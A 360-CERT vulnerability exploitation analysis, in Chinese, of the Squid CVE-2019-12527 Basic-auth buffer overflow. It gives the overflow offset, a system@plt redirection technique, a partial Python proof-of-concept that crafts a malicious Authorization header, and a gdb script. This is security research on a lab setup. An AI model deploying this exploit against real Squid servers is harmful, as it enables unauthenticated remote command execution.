报告编号:B6-2019-110702
报告来源:360-CERT
报告作者:360-CERT
更新日期:2019-11-07
0x00 背景描述
2019年8月22日,趋势科技研究团队发布了编号为CVE-2019-12527的Squid代理服务器缓冲区溢出漏洞分析报告,攻击者可以在无需身份验证的情况下构造数据包利用此漏洞造成远程代码执行。
360CERT已发布预警:https://cert.360.cn/warning/detail?id=52b94287c9f7454c18ed7c9be3a17f01
该报告是对此漏洞的利用分析。
0x01 环境配置
测试环境配置:
Linux osboxes 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
测试版本下载地址:
http://www.squid-cache.org/Versions/v4/squid-4.7.tar.gz
编译:
./configure
make -j4
sudo make install
安装后地址:
/usr/local/squid/sbin/squid
在配置文件/usr/local/squid/etc/squid.conf最后添加:
cache_access_log /var/squid/access.log
cache_log /var/squid/cache.log
cache_store_log /var/squid/store.log
并给这些文件赋值777
0x02 漏洞利用
漏洞点在: src/HttpHeader.cc:
decodeAuthToken数组用于存放base解密后的数据,并且没有边界判断,所以造成溢出。
而decodeAuthToken定义成静态变量,位于程序的.bss区,可以覆盖到其他全局变量,造成崩溃,但崩溃会重新起一个进程,主进程并不会崩溃。
崩溃现场:
从图中我们可以看出,我们可以call一个地址,并且rdi 可控,相当于我们可以执行带一个参数的函数。查看程序的保护措施:
并未开启随机化,所以got和plt的地址固定,可以通过调用system@plt来执行命令,在rdi指向的地址0xc66488上填充要执行的命令。
decodeAuthToken起始位置:0xc64140 -> this=0xc66488 偏移为:0x2348
0x03 利用脚本
部分poc脚本(该poc仅供研究):
command = []
path = '/tmp/x\0'
command.append("echo pwned >>"+path)
for i in command:
payload = "GET cache_object://127.0.0.1/info"
payload += " HTTP/1.1\n"
payload += "HOST: 127.0.0.1\n"
payload += "Authorization: Basic "
content = "A:B"+'\x40\xa2\x42'*0xbc1 + '\x40\xa2'
print i
content += i # 填充 rdi
content += '\xa2'*(0x28-len(i))
content += p64(0xdeadbeef)
content = base64.b64encode(content)
payload += content
payload += '\n\n'
with open("./poc","w+") as f:
f.write(payload)
f.close()
time.sleep(1)
os.system("nc 127.0.0.1 3128 < ./poc > 0")
gdb 调试脚本:
#!/bin/bash
python ./poc.py
sudo gdb\
-ex "file /usr/local/squid/sbin/squid" \
-ex "attach $(ps -ef | grep squid | grep -v grep |grep kid| awk '{print $2}')" \
-ex "b base64_decode_update"\
-ex "continue"
0x04 利用效果
运行效果图:
得到的是一个nobody权限
笔者在测试环境中编译Squid默认不开启随机化,但在高版本系统中会默认开启随机化。并且不同条件下编译,生成的程序地址、got和plt地址不同,所以该poc不能通用,但利用思路可以借鉴。
0x05 时间线
2019-07-12 Squid官方发布安全公告
2019-08-22 趋势科技发布研究报告
2019-08-23 360CERT发布漏洞预警
2019-11-07 360CERT发布漏洞利用分析
0x06 参考链接
欢迎加入360-CERT团队,请投递简历到 caiyuguang[a_t]360.cn